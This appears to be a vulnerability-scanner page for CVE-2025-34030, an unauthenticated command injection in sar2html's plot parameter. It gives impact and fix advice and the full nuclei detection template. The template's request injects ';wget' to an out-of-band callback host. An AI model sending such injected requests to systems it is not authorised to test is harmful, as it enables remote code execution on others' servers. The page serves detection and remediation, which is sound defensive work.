sar2html <=3.2.2 Plot Parameter - Remote Code Execution

criticalseverity

10CVSS score

52.2%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

sar2html version 3.2.2 and prior contains an OS command injection vulnerability in the plot parameter of index.php. A remote, unauthenticated attacker can append shell metacharacters to the plot parameter and execute arbitrary operating system commands.

Impact

Successful exploitation allows unauthenticated remote command execution on the underlying server in the web application process context.

Fix

Remove public access to affected sar2html deployments or apply vendor-provided fixes when available. Restrict access to trusted users and monitor for shell metacharacters in requests to index.php with the plot parameter.

How to confirm it

Send: GET /index.php?plot=;wget%20http://{{interactsh-url}}
Positive when: contains in interactsh_protocol "http" AND contains "sar2html Ver" and "Select Host"

Run it with nuclei: nuclei -id CVE-2025-34030 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2025-34030

info:
  name: sar2html <=3.2.2 Plot Parameter - Remote Code Execution
  author: gy741,TATANKA97
  severity: critical
  description: |
    sar2html version 3.2.2 and prior contains an OS command injection vulnerability in the plot parameter of index.php. A remote, unauthenticated attacker can append shell metacharacters to the plot parameter and execute arbitrary operating system commands.
  impact: |
    Successful exploitation allows unauthenticated remote command execution on the underlying server in the web application process context.
  remediation: |
    Remove public access to affected sar2html deployments or apply vendor-provided fixes when available. Restrict access to trusted users and monitor for shell metacharacters in requests to index.php with the plot parameter.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-34030
    - https://vulncheck.com/advisories/sar2html-command-injection
    - https://github.com/cemtan/sar2html
    - https://www.exploit-db.com/exploits/47204
    - https://www.fortiguard.com/encyclopedia/ips/48624
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
    cvss-score: 10.0
    cve-id: CVE-2025-34030
    epss-score: 0.52189
    epss-percentile: 0.98969
    cwe-id: CWE-78
  metadata:
    max-request: 1
    vendor: cemtan
    product: sar2html
  tags: cve,cve2025,sar2html,rce,oast,vkev,vuln

http:
  - raw:
      - |
        GET /index.php?plot=;wget%20http://{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body
        words:
          - "sar2html Ver"
          - "Select Host"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from